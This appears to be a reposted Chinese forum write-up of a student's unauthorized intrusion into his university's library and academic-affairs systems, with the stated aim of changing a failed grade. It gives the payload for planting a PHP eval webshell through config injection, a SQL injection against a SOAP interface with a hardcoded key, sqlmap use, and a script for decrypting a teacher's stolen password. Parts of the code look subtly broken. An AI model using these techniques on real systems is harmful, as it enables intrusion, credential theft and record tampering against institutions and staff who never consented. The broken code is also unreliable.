李成笔记网

专注域名、站长SEO知识分享与实战技巧

实战测试 - 您已挂科 挂科行为

前言:

论坛好久没看到实战文章,我来写一篇。

那真是一个悲伤的故事。

我始终不明白我一个计网专业的学生为什么要学电路。有一个逃课特别多的孩子,老师给了60分,竟然过了。我这边53分挂科。

这我就不开心了。呵呵。只做测试,不改成绩。

学校主站给教务查询系统加了一个链接,但通过此处打开教务处,页面全是静态,不能很好的进行测试。猜想在内网内可以,通过教务地址访问。

于是转移目标,先来从图书馆下手,等拿下图书馆,从图书馆代理过去搞。

图书馆乃开源的汇文图书管理系统,敏感信息泄露,呵呵哒:

文件包含漏洞:

登入之后这边可以看到当前连接的数据库的一些信息:

至此我们可以随意修改图书管理系统的配置。

根据开源代码分析,发现更新配置时代码未做过滤,

unction write_para( $strFileName, $strPara )

{

$fhandle = fopen( $strFileName, "wb" );

if ( $fhandle )

{

$strPara = "<?php\n".$strPara."\n?>";

if ( fwrite( $fhandle, $strPara ) )

{

fclose( $fhandle );

$strMsg = "数据修改成功。";

}

else

{

$strMsg = "数据修改失败。";

}

}

else

{

$strMsg = "数据修改失败。";

}

return $strMsg;

}

这样我们可以再在配置文件里插入任意内容,我们可以配置文件里追加一句话;

在配置全文索引文件夹路径时,修改

c:/hwopac/index/

c:/hwopac/index/";@eval($_POST['123']);//

更新过配置后,内容保存在的配置文件为:

/include/hwopacpwd.php

于是连接`URL+/include/hwopacpwd.php`即可得到一句话webshell。

下面两个图片是在乌云看到的案例:

然而,我们学校图书馆的更新页面却是这样:

握草,怎么会这样。那还真是个悲伤的故事。。。

猜想是运维人员在乌云看到相关案例,删除了该表单。表单被删,貌似无解。

后来抽根烟想了想,能不能去网上找一个一样的系统,然后抓取修改那个修改的POST表单,google了一番,没找到可以利用的。

于是想到自己在页面构造添加表单,如下图的文本输入框:

审查元素插入如下标签:

<dd><input size="20" name="fulltextPath" value="c:/hwopac/index/";@eval($_POST['123']);//" type="text"></dd

此处的表单name值是通过源码审计看到的,案例中也有提现。

我们提交表单抓POST包,发现`fulltextPath`的值已经被提交:

测试连接`/include/hwopacpwd.php`,没有连接上:

我们再来看下这个图,仔细看,

你会发现其实不只是`fulltextPath`的值没有被加密,`user`的值也没有加密,同样可以被替换,于是淫荡的思路来了:

`POST`表单`user`值填写为:

libsys";@eval($_POST['123']);//

提交之后,即可菜刀连接`/include/hwopacpwd.php`,GOOD JOB!

恶意代码确实如此写入:

提权略过,直接`SYSTEM`:

教务系统部署在内网的某台机器,为了防止外部攻击,他们做了一个外部的接口,所有页面静态化,很是蛋疼,我使用上述图书馆的机器对内网的教务机器进行了一通扫描,终于找到了他的实际地址:

正方教务系统同样提供了各类查询接口,我此处利用`service.asmx`的`BMCheckPassword`接口的注入:

官方给出了如下规范的POST数据包:

POST /service.asmx HTTP/1.1

Host: [url]www.baidu.com[/url]

Content-Type: text/xml; charset=utf-8

Content-Length: 784

SOAPAction: "http://www.zf_webservice.com/BMCheckPassword"

<?xml version="1.0" encoding="utf-8"?>

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://tempuri.org/" xmlns:types="http://tempuri.org/encodedTypes" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

<soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

<q1:BMCheckPassword xmlns:q1="http://www.zf_webservice.com/BMCheckPassword">

<strYHM xsi:type="xsd:string">string</strYHM>

<strPassword xsi:type="xsd:string">string</strPassword>

<xh xsi:type="xsd:string">string</xh>

<strKey xsi:type="xsd:string">KKKGZ2312</strKey>

</q1:BMCheckPassword>

</soap:Body>

</soap:Envelope>

上述`sKey = "KKKGZ2312"`为常量,有了`sKey`就可以去查询一些接口了。

`strYHM`表示用户名,我已经吓哭,好像都是用拼音:

此处没做过滤,直接构造语句使用Intruder模块:

jwc01' and (SELECT SUBSTR(TO_CHAR(KL),1,1) from yhb where yhm='jwc01')='a

`payoad`为:`a-z`、`A-Z`、`0-9`、`~!@#$%^&*()_+[]{}\|<>:"';`

不知为何用BurpSuite跑起来很慢。。

我把POST数据包复制出来交给SQLMAP:

python sqlmap.py -r post.txt

GOOD JOB!

[14:31:40] [INFO] fetching tables for databases: 'CTXSYS, DBSNMP, DMSYS, EXFSYS, MDSYS, OLAPSYS, ORDSYS, OUTLN, SCOTT, SYS, SYSMAN, SYSTEM, TSMSYS, WMSYS, XDB, ZFXFZB'

[14:31:40] [INFO] the SQL query used returns 3389 entries

那么问题来了,几千个表,怎么找教师用户密码的表?幸亏我拼音好:

我挂科的是电子电工,老师叫张X,姓名对应的字段为XM,这拼音拼的啊。。。

这就好办了,用`--sql-shell`查询:

select * from "YHB" where XM = '张X';

恩~,得到密文为`U_rBKJ`,这是经过正方的特殊加密的,我们用python脚本解开:

# python

# coding=utf-8

import sys

def crack_zhengfang( pwdhash, key="Encrypt01" ):

len_passwd = len( pwdhash )

len_key = len( key )

pwdhash = pwdhash[: len_passwd/2][::-1] + pwdhash[len_passwd/2 :][::-1]

passwd = ''

Pos = 0

for i in xrange( len_passwd ):

Pos %= len_key

Pos += 1

strChar = pwdhash

KeyChar = key[Pos-1]

ord_strChar = ord( strChar )

ord_KeyChar = ord( KeyChar )

if not 32 <= ( ord_strChar ^ ord_KeyChar ) <= 126 or not 0 <= ord_strChar <= 255:

passwd += strChar

else:

passwd += chr( ord_strChar ^ ord_KeyChar )

return passwd

if __name__ == '__main__':

if len(sys.argv) != 2:

print "Usage: crackZF.py passwdhash"

sys.exit(1)

else:

print "Password:", crack_zhengfang( pwdhash=sys.argv[1], key="Encrypt01" )

promote pythonDemo v5est0r$ python zhengfang.py "U_rBKJ"

Password: 716822

`Password: 716822`

接着登入该老师的教务系统,录入成绩。。。

录入成绩需要密码,密码??? 我根据官方给出的录入成绩密码字段没查到密码啊。。。空的也不行。

不急,慢慢来。

太悲伤了,补考估计也会挂掉,太悲伤了。

本文作者:Binghe,转载自:https://bbs.ichunqiu.com/thread-18011-1-1.html

发表评论:

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言